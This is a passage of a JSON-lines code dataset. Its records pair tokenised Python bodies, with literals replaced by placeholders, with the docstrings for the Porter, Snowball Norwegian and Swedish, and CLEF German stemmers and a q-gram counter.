{<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>}:<EOL><INDENT>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif _r1[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>elif _r1[-<NUM_LIT:1>:] in {'<STR_LIT:a>', '<STR_LIT:e>'}:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>elif _r1[-<NUM_LIT:1>:] == '<STR_LIT:s>':<EOL><INDENT>if (len(word) > <NUM_LIT:1> and word[-<NUM_LIT:2>] in self._s_endings) or (<EOL>len(word) > <NUM_LIT:2><EOL>and word[-<NUM_LIT:2>] == '<STR_LIT:k>'<EOL>and word[-<NUM_LIT:3>] not in self._vowels<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if word[r1_start:][-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>_r1 = word[r1_start:]<EOL>if _r1[-<NUM_LIT:7>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:7>]<EOL><DEDENT>elif _r1[-<NUM_LIT:4>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT>elif _r1[-<NUM_LIT:3>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT>elif _r1[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>return word<EOL>", "docstring": "Return Snowball Norwegian stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = SnowballNorwegian()\n        >>> stmr.stem('lese')\n        'les'\n        >>> stmr.stem('suspensjon')\n        'suspensjon'\n        >>> stmr.stem('sikkerhet')\n        'sikker'", "id": "f6564:c0:m0"}
{"signature": "def clef_german_plus(word):", "body": "return CLEFGermanPlus().stem(word)<EOL>", "docstring": "Return 'CLEF German stemmer plus' stem.\n\n    This is a wrapper for :py:meth:`CLEFGermanPlus.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> stmr = CLEFGermanPlus()\n    >>> clef_german_plus('lesen')\n    'les'\n    >>> clef_german_plus('graues')\n    'grau'\n    >>> clef_german_plus('buchstabieren')\n    'buchstabi'", "id": "f6565:m0"}
{"signature": "def stem(self, word):", "body": "<EOL>word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>word = word.translate(self._accents)<EOL>wlen = len(word) - <NUM_LIT:1><EOL>if wlen > <NUM_LIT:4> and word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT>elif wlen > <NUM_LIT:3> and word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>elif wlen > <NUM_LIT:2> and (<EOL>word[-<NUM_LIT:1>] == '<STR_LIT:e>'<EOL>or (word[-<NUM_LIT:1>] == '<STR_LIT:s>' and word[-<NUM_LIT:2>] in self._st_ending)<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>wlen = len(word) - <NUM_LIT:1><EOL>if wlen > <NUM_LIT:4> and word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT>elif wlen > <NUM_LIT:3> and (<EOL>word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}<EOL>or (word[-<NUM_LIT:2>:] == '<STR_LIT>' and word[-<NUM_LIT:3>] in self._st_ending)<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>return word<EOL>", "docstring": "Return 'CLEF German stemmer plus' stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = CLEFGermanPlus()\n        >>> clef_german_plus('lesen')\n        'les'\n        >>> clef_german_plus('graues')\n        'grau'\n        >>> clef_german_plus('buchstabieren')\n        'buchstabi'", "id": "f6565:c0:m0"}
{"signature": "def porter(word, early_english=False):", "body": "return Porter().stem(word, early_english)<EOL>", "docstring": "Return Porter stem.\n\n    This is a wrapper for :py:meth:`Porter.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n    early_english : bool\n        Set to True in order to remove -eth & -est (2nd & 3rd person singular\n        verbal agreement suffixes)\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> porter('reading')\n    'read'\n    >>> porter('suspension')\n    'suspens'\n    >>> porter('elusiveness')\n    'elus'\n\n    >>> porter('eateth', early_english=True)\n    'eat'", "id": "f6566:m0"}
{"signature": "def _m_degree(self, term):", "body": "mdeg = <NUM_LIT:0><EOL>last_was_vowel = False<EOL>for letter in term:<EOL><INDENT>if letter in self._vowels:<EOL><INDENT>last_was_vowel = True<EOL><DEDENT>else:<EOL><INDENT>if last_was_vowel:<EOL><INDENT>mdeg += <NUM_LIT:1><EOL><DEDENT>last_was_vowel = False<EOL><DEDENT><DEDENT>return mdeg<EOL>", "docstring": "Return Porter helper function _m_degree value.\n\n        m-degree is equal to the number of V to C transitions\n\n        Parameters\n        ----------\n        term : str\n            The word for which to calculate the m-degree\n\n        Returns\n        -------\n        int\n            The m-degree as defined in the Porter stemmer definition", "id": "f6566:c0:m0"}
{"signature": "def _has_vowel(self, term):", "body": "for letter in term:<EOL><INDENT>if letter in self._vowels:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Return Porter helper function _has_vowel value.\n\n        Parameters\n        ----------\n        term : str\n            The word to scan for vowels\n\n        Returns\n        -------\n        bool\n            True iff a vowel exists in the term (as defined in the Porter\n            stemmer definition)", "id": "f6566:c0:m1"}
{"signature": "def _ends_in_doubled_cons(self, term):", "body": "return (<EOL>len(term) > <NUM_LIT:1><EOL>and term[-<NUM_LIT:1>] not in self._vowels<EOL>and term[-<NUM_LIT:2>] == term[-<NUM_LIT:1>]<EOL>)<EOL>", "docstring": "Return Porter helper function _ends_in_doubled_cons value.\n\n        Parameters\n        ----------\n        term : str\n            The word to check for a final doubled consonant\n\n        Returns\n        -------\n        bool\n            True iff the stem ends in a doubled consonant (as defined in the\n            Porter stemmer definition)", "id": "f6566:c0:m2"}
{"signature": "def _ends_in_cvc(self, term):", "body": "return len(term) > <NUM_LIT:2> and (<EOL>term[-<NUM_LIT:1>] not in self._vowels<EOL>and term[-<NUM_LIT:2>] in self._vowels<EOL>and term[-<NUM_LIT:3>] not in self._vowels<EOL>and term[-<NUM_LIT:1>] not in tuple('<STR_LIT>')<EOL>)<EOL>", "docstring": "Return Porter helper function _ends_in_cvc value.\n\n        Parameters\n        ----------\n        term : str\n            The word to scan for cvc\n\n        Returns\n        -------\n        bool\n            True iff the stem ends in cvc (as defined in the Porter stemmer\n            definition)", "id": "f6566:c0:m3"}
{"signature": "def stem(self, word, early_english=False):", "body": "<EOL>word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>if len(word) < <NUM_LIT:3>:<EOL><INDENT>return word<EOL><DEDENT>if word[<NUM_LIT:0>] == '<STR_LIT:y>':<EOL><INDENT>word = '<STR_LIT:Y>' + word[<NUM_LIT:1>:]<EOL><DEDENT>for i in range(<NUM_LIT:1>, len(word)):<EOL><INDENT>if word[i] == '<STR_LIT:y>' and word[i - <NUM_LIT:1>] in self._vowels:<EOL><INDENT>word = word[:i] + '<STR_LIT:Y>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT><DEDENT>if word[-<NUM_LIT:1>] == '<STR_LIT:s>':<EOL><INDENT>if word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>step1b_flag = False<EOL>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:3>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if self._has_vowel(word[:-<NUM_LIT:2>]):<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL>step1b_flag = True<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._has_vowel(word[:-<NUM_LIT:3>]):<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL>step1b_flag = True<EOL><DEDENT><DEDENT>elif early_english:<EOL><INDENT>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._has_vowel(word[:-<NUM_LIT:3>]):<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL>step1b_flag = True<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._has_vowel(word[:-<NUM_LIT:3>]):<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL>step1b_flag = True<EOL><DEDENT><DEDENT><DEDENT>if step1b_flag:<EOL><INDENT>if word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word += '<STR_LIT:e>'<EOL><DEDENT>elif self._ends_in_doubled_cons(word) and word[-<NUM_LIT:1>] not in {<EOL>'<STR_LIT:l>',<EOL>'<STR_LIT:s>',<EOL>'<STR_LIT:z>',<EOL>}:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>elif self._m_degree(word) == <NUM_LIT:1> and self._ends_in_cvc(word):<EOL><INDENT>word += '<STR_LIT:e>'<EOL><DEDENT><DEDENT>if word[-<NUM_LIT:1>] in {'<STR_LIT:Y>', '<STR_LIT:y>'} and self._has_vowel(word[:-<NUM_LIT:1>]):<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:i>'<EOL><DEDENT>if len(word) > <NUM_LIT:1>:<EOL><INDENT>if word[-<NUM_LIT:2>] == '<STR_LIT:a>':<EOL><INDENT>if word[-<NUM_LIT:7>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:7>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:5>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:6>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:6>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:c>':<EOL><INDENT>if word[-<NUM_LIT:4>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:4>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:e>':<EOL><INDENT>if word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:4>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:g>':<EOL><INDENT>if word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:4>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:l>':<EOL><INDENT>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:3>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:4>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:5>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:3>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:5>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:o>':<EOL><INDENT>if word[-<NUM_LIT:7>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:7>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:5>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:5>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:3>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:4>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:s>':<EOL><INDENT>if word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:5>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:7>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:7>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>] == '<STR_LIT:t>':<EOL><INDENT>if word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:5>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:5>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:3>] + '<STR_LIT:e>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:6>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:6>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:5>] + '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if word[-<NUM_LIT:5>:] in '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:5>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:5>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:5>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:5>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:4>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:3>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:4>]) > <NUM_LIT:0>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT>if word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:2>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:4>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:2>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:4>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:3>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:5>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:5>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:4>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:3>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:3>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:2>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:3>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>if word[-<NUM_LIT:1>] == '<STR_LIT:e>':<EOL><INDENT>if self._m_degree(word[:-<NUM_LIT:1>]) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>elif self._m_degree(word[:-<NUM_LIT:1>]) == <NUM_LIT:1> and not self._ends_in_cvc(<EOL>word[:-<NUM_LIT:1>]<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if word[-<NUM_LIT:2>:] == '<STR_LIT>' and self._m_degree(word) > <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>for i in range(len(word)):<EOL><INDENT>if word[i] == '<STR_LIT:Y>':<EOL><INDENT>word = word[:i] + '<STR_LIT:y>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT><DEDENT>return word<EOL>", "docstring": "Return Porter stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n        early_english : bool\n            Set to True in order to remove -eth & -est (2nd & 3rd person\n            singular verbal agreement suffixes)\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = Porter()\n        >>> stmr.stem('reading')\n        'read'\n        >>> stmr.stem('suspension')\n        'suspens'\n        >>> stmr.stem('elusiveness')\n        'elus'\n\n        >>> stmr.stem('eateth', early_english=True)\n        'eat'", "id": "f6566:c0:m4"}
{"signature": "def sb_swedish(word):", "body": "return SnowballSwedish().stem(word)<EOL>", "docstring": "Return Snowball Swedish stem.\n\n    This is a wrapper for :py:meth:`SnowballSwedish.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> sb_swedish('undervisa')\n    'undervis'\n    >>> sb_swedish('suspension')\n    'suspension'\n    >>> sb_swedish('visshet')\n    'viss'", "id": "f6567:m0"}
{"signature": "def stem(self, word):", "body": "<EOL>word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>r1_start = min(max(<NUM_LIT:3>, self._sb_r1(word)), len(word))<EOL>_r1 = word[r1_start:]<EOL>if _r1[-<NUM_LIT:7>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:7>]<EOL><DEDENT>elif _r1[-<NUM_LIT:6>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:6>]<EOL><DEDENT>elif _r1[-<NUM_LIT:5>:] in {<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>}:<EOL><INDENT>word = word[:-<NUM_LIT:5>]<EOL><DEDENT>elif _r1[-<NUM_LIT:4>:] in {<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>}:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT>elif _r1[-<NUM_LIT:3>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT>elif _r1[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>elif _r1[-<NUM_LIT:1>:] in {'<STR_LIT:a>', '<STR_LIT:e>'}:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>elif _r1[-<NUM_LIT:1>:] == '<STR_LIT:s>':<EOL><INDENT>if len(word) > <NUM_LIT:1> and word[-<NUM_LIT:2>] in self._s_endings:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if word[r1_start:][-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>_r1 = word[r1_start:]<EOL>if _r1[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>elif _r1[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>elif _r1[-<NUM_LIT:3>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT>elif _r1[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>return word<EOL>", "docstring": "Return Snowball Swedish stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = SnowballSwedish()\n        >>> stmr.stem('undervisa')\n        'undervis'\n        >>> stmr.stem('suspension')\n        'suspension'\n        >>> stmr.stem('visshet')\n        'viss'", "id": "f6567:c0:m0"}
{"signature": "def stem(self, word, *args, **kwargs):", "body": "pass<EOL>", "docstring": "Return stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n        *args\n            Variable length argument list\n        **kwargs\n            Arbitrary keyword arguments\n\n        Returns\n        -------\n        str\n            Word stem", "id": "f6568:c0:m0"}
{"signature": "def __init__(self, term, qval=<NUM_LIT:2>, start_stop='<STR_LIT>', skip=<NUM_LIT:0>):", "body": "<EOL>self._term = term<EOL>self._term_ss = term<EOL>self._ordered_list = []<EOL>if not isinstance(qval, Iterable):<EOL><INDENT>qval = (qval,)<EOL><DEDENT>if not isinstance(skip, Iterable):<EOL><INDENT>skip = (skip,)<EOL><DEDENT>for qval_i in qval:<EOL><INDENT>for skip_i in skip:<EOL><INDENT>if len(self._term) < qval_i or qval_i < <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>if start_stop and qval_i > <NUM_LIT:1>:<EOL><INDENT>term = (<EOL>start_stop[<NUM_LIT:0>] * (qval_i - <NUM_LIT:1>)<EOL>+ self._term<EOL>+ start_stop[-<NUM_LIT:1>] * (qval_i - <NUM_LIT:1>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>term = self._term<EOL><DEDENT>if len(term) > len(self._term_ss):<EOL><INDENT>self._term_ss = term<EOL><DEDENT>skip_i += <NUM_LIT:1><EOL>self._ordered_list += [<EOL>term[i : i + (qval_i * skip_i) : skip_i]<EOL>for i in range(len(term) - (qval_i - <NUM_LIT:1>))<EOL>]<EOL><DEDENT><DEDENT>super(QGrams, self).__init__(self._ordered_list)<EOL>", "docstring": "Initialize QGrams.\n\n        Parameters\n        ----------\n        term : str\n            A string to extract q-grams from\n        qval : int or Iterable\n            The q-gram length (defaults to 2), can be an integer, range object,\n            or list\n        start_stop : str\n            A string of length >= 0 indicating start & stop symbols.\n            If the string is '', q-grams will be calculated without start &\n            stop symbols appended to each end.\n            Otherwise, the first character of start_stop will pad the\n            beginning of the string and the last character of start_stop\n            will pad the end of the string before q-grams are calculated.\n            (In the case that start_stop is only 1 character long, the same\n            symbol will be used for both.)\n        skip : int or Iterable\n            The number of characters to skip, can be an integer, range object,\n            or list\n\n        Examples\n        --------\n        >>> qg = QGrams('AATTATAT')\n        >>> qg\n        QGrams({'AT': 3, 'TA': 2, '$A': 1, 'AA': 1, 'TT': 1, 'T#': 1})\n\n        >>> qg = QGrams('AATTATAT', qval=1, start_stop='')\n        >>> qg\n        QGrams({'A': 4, 'T': 4})\n\n        >>> qg = QGrams('AATTATAT', qval=3, start_stop='')\n        >>> qg\n        QGrams({'TAT': 2, 'AAT': 1, 'ATT': 1, 'TTA': 1, 'ATA': 1})", "id": "f6569:c0:m0"}
{"signature": "def count(self):", "body": "return sum(self.values())<EOL>", "docstring": "Return q-grams count.\n\n        Returns\n        -------\n        int\n            The total count of q-grams in a QGrams object\n\n        Examples\n        --------\n        >>> qg = QGrams('AATTATAT')\n        >>> qg.count()\n        9\n\n        >>> qg = QGrams('AATTATAT', qval=1, start_stop='')\n        >>> qg.count()\n        8\n\n        >>> qg = QGrams('AATTATAT', qval=3, start_stop='')\n        >>> qg.count()\n        6", "id": "f6569:c0:m1"}
